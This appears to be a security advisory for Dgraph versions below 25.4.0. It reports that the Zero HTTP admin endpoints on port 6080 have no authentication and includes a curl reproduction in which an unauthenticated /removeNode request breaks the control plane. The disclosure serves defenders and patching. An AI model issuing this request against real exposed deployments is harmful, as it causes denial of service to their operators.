| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/dgraph-io/dgraph/v25 | < 25.4.0 | 25.4.0 |
Dgraph v25.3.8 exposes a Zero HTTP administrative surface that is unauthenticated when port 6080 is reachable.
The exposed routes include:
/state/assign/removeNode/moveTabletAn unauthenticated request to /removeNode?id=1&group=0 on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to localhost:5080.
The issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper.
Relevant code paths:
worker/server_state.go:41dgraph/cmd/zero/run.go:295-301dgraph/cmd/zero/http.go:106-129dgraph/cmd/zero/zero.go:475-477The relevant behavior is:
disable-admin-http=false by default/removeNode accepts attacker-controlled id and groupremoveNode forwards those directly into Server.RemoveNodegroup=0, Server.RemoveNode immediately calls ProposePeerRemovalThis means a remote unauthenticated caller can directly trigger destructive membership operations if 6080 is exposed.
curl -i http://127.0.0.1:6080/state
Observed response included:
id=1groupId=0leader=truecurl -i 'http://127.0.0.1:6080/assign?what=nsids&num=1'
Observed response:
HTTP/1.1 200 OK
...
{"startId":"1", "endId":"1", "readOnly":"0"}
This confirms the admin plane is not merely informational.
<img width="1877" height="805" alt="图片" src="https://github.com/user-attachments/assets/caf60927-83ba-495d-8c55-e48343b8a2c7" />curl -i 'http://127.0.0.1:6080/removeNode?id=1&group=0'
Observed result:
curl: (52) Empty reply from server
Immediately afterward:
curl -i http://127.0.0.1:6080/health
Observed result:
curl: (56) Recv failure: Connection reset by peer
Alpha health was still locally reachable, but Alpha logs began repeatedly reporting:
dial tcp [::1]:5080: connect: connection refused
This confirms the request reached the destructive path and disrupted the Zero control plane.
Any deployment that exposes Zero HTTP on 6080 exposes destructive unauthenticated administrative capabilities.
An attacker can:
This is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.
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